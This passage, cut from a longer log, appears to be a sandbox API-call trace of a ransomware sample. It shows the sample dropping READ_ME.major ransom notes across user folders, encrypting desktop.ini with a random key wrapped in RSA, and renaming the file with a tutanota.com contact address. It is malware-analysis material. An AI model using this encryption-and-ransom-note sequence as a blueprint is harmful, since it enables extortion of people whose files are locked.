dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0144.787] GetLastError () returned 0x12 [0144.787] SetLastError (dwErrCode=0x12) [0144.787] GetLastError () returned 0x12 [0144.787] SetLastError (dwErrCode=0x12) [0144.787] GetLastError () returned 0x12 [0144.787] SetLastError (dwErrCode=0x12) [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0144.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60efe8 [0144.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60efe8 | out: hHeap=0x570000) returned 1 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0144.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0144.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0144.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0144.787] FindNextFileW (in: hFindFile=0x60f068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Local", cAlternateFileName="")) returned 1 [0144.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0144.787] GetLastError () returned 0x12 [0144.787] SetLastError (dwErrCode=0x12) [0144.787] GetLastError () returned 0x12 [0144.787] SetLastError (dwErrCode=0x12) [0144.787] GetLastError () returned 0x12 [0144.787] SetLastError (dwErrCode=0x12) [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc60 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0144.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0144.788] GetLastError () returned 0x12 [0144.788] SetLastError (dwErrCode=0x12) [0144.788] GetLastError () returned 0x12 [0144.788] SetLastError (dwErrCode=0x12) [0144.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.788] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0144.788] GetLastError () returned 0x12 [0144.788] SetLastError (dwErrCode=0x12) [0144.788] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0144.788] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0144.788] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0144.788] WriteFile (in: hFile=0x5dc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.789] CloseHandle (hObject=0x5dc) returned 1 [0144.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0144.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0144.790] FindNextFileW (in: hFindFile=0x60f068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0144.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0144.790] GetLastError () returned 0x0 [0144.790] SetLastError (dwErrCode=0x0) [0144.790] GetLastError () returned 0x0 [0144.790] SetLastError (dwErrCode=0x0) [0144.790] GetLastError () returned 0x0 [0144.790] SetLastError (dwErrCode=0x0) [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0144.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0144.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0144.790] GetLastError () returned 0x0 [0144.790] SetLastError (dwErrCode=0x0) [0144.790] GetLastError () returned 0x0 [0144.790] SetLastError (dwErrCode=0x0) [0144.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0144.790] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0144.790] GetLastError () returned 0x0 [0144.791] SetLastError (dwErrCode=0x0) [0144.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0144.791] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0144.814] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0144.814] WriteFile (in: hFile=0x5dc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.815] CloseHandle (hObject=0x5dc) returned 1 [0144.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0144.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0144.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.816] FindNextFileW (in: hFindFile=0x60f068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0144.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0144.816] GetLastError () returned 0x0 [0144.816] SetLastError (dwErrCode=0x0) [0144.816] GetLastError () returned 0x0 [0144.816] SetLastError (dwErrCode=0x0) [0144.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.816] SetLastError (dwErrCode=0x0) [0144.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.816] FindNextFileW (in: hFindFile=0x60f068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcfe70324, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xcfe70324, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Roaming", cAlternateFileName="")) returned 1 [0144.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0144.816] GetLastError () returned 0x0 [0144.816] SetLastError (dwErrCode=0x0) [0144.816] GetLastError () returned 0x0 [0144.816] SetLastError (dwErrCode=0x0) [0144.816] GetLastError () returned 0x0 [0144.816] SetLastError (dwErrCode=0x0) [0144.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0144.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0144.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.816] SetLastError (dwErrCode=0x0) [0144.816] GetLastError () returned 0x0 [0144.816] SetLastError (dwErrCode=0x0) [0144.816] SetLastError (dwErrCode=0x0) [0144.816] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0144.817] WriteFile (in: hFile=0x5dc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.818] CloseHandle (hObject=0x5dc) returned 1 [0144.818] FindNextFileW (in: hFindFile=0x60f068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcfe70324, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xcfe70324, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Roaming", cAlternateFileName="")) returned 0 [0144.818] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Application Data\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcfe70324, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xcfe70324, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0144.818] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Contacts\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60efe8 [0144.818] SetLastError (dwErrCode=0x5) [0144.818] GetLastError () returned 0x5 [0144.818] SetLastError (dwErrCode=0x5) [0144.818] GetLastError () returned 0x5 [0144.818] SetLastError (dwErrCode=0x5) [0144.818] FindNextFileW (in: hFindFile=0x60efe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.818] SetLastError (dwErrCode=0x5) [0144.819] GetLastError () returned 0x5 [0144.819] SetLastError (dwErrCode=0x5) [0144.819] GetLastError () returned 0x5 [0144.819] SetLastError (dwErrCode=0x5) [0144.819] FindNextFileW (in: hFindFile=0x60efe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.819] SetLastError (dwErrCode=0x5) [0144.819] GetLastError () returned 0x5 [0144.819] SetLastError (dwErrCode=0x5) [0144.819] SetLastError (dwErrCode=0x5) [0144.819] FindNextFileW (in: hFindFile=0x60efe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.819] SetLastError (dwErrCode=0x5) [0144.819] GetLastError () returned 0x5 [0144.819] SetLastError (dwErrCode=0x5) [0144.819] SetLastError (dwErrCode=0x5) [0144.819] FindNextFileW (in: hFindFile=0x60efe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0144.819] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.819] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Contacts\\desktop.ini", dwFileAttributes=0x80) returned 1 [0144.819] CreateFileW (lpFileName="\\Users\\FD1HVy\\Contacts\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e0 [0144.819] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=412) returned 1 [0144.820] ReadFile (in: hFile=0x5e0, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x19c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x19c, lpOverlapped=0x0) returned 1 [0144.820] SetFilePointer (in: hFile=0x5e0, lDistanceToMove=-412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.820] WriteFile (in: hFile=0x5e0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x19c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x19c, lpOverlapped=0x0) returned 1 [0144.821] SetFilePointer (in: hFile=0x5e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x19c [0144.821] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.821] WriteFile (in: hFile=0x5e0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.821] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.821] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0144.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="RQ4qG8YeOoJbqVpydgDuNWdJU/ArJH0KvOk3pOSD9AZonjDFKc0yHblgT4007Bxa\nKASXfJn+qrgAJMTdEAQakT9SN8zn1//YEJLkwjcTN49KUo0hiKVB/xWUMbV8vez/\n+oNiBXLycnMNNLr3d/EYgI8AafC63AdMhVOikeHx/8gpRYELAo2m8eDk+7oZIShR\nKqTzbWBw/m0QpdPPVOuJBohp5aoGPxsf8lojwBqY4vSQiiKVosCcFXh3Gt41xhaL\n7pPuHFxhzu21b8Nih3OAe7AvmNojddeE5Q1IOuv+K8SqvK/oG2rZtxCOk8KJV2+i\ndsLvBgpk5EMlgbhhYZ8IDg==\n", pcchString=0x2e3f9a8) returned 1 [0144.821] WriteFile (in: hFile=0x5e0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.822] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.822] WriteFile (in: hFile=0x5e0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.822] CloseHandle (hObject=0x5e0) returned 1 [0144.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.822] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Contacts\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Contacts\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0144.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0144.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0144.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e8c8 | out: hHeap=0x570000) returned 1 [0144.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc918 | out: hHeap=0x570000) returned 1 [0144.971] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Cookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0144.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0144.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0144.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0144.971] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60eae8 [0144.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0144.971] GetLastError () returned 0x5 [0144.971] SetLastError (dwErrCode=0x5) [0144.971] GetLastError () returned 0x5 [0144.971] SetLastError (dwErrCode=0x5) [0144.971] GetLastError () returned 0x5 [0144.971] SetLastError (dwErrCode=0x5) [0144.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0144.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0144.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ec28 [0144.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ec28 | out: hHeap=0x570000) returned 1 [0144.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.972] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0144.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.972] GetLastError () returned 0x5 [0144.972] SetLastError (dwErrCode=0x5) [0144.972] GetLastError () returned 0x5 [0144.972] SetLastError (dwErrCode=0x5) [0144.972] GetLastError () returned 0x5 [0144.972] SetLastError (dwErrCode=0x5) [0144.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0144.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0144.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 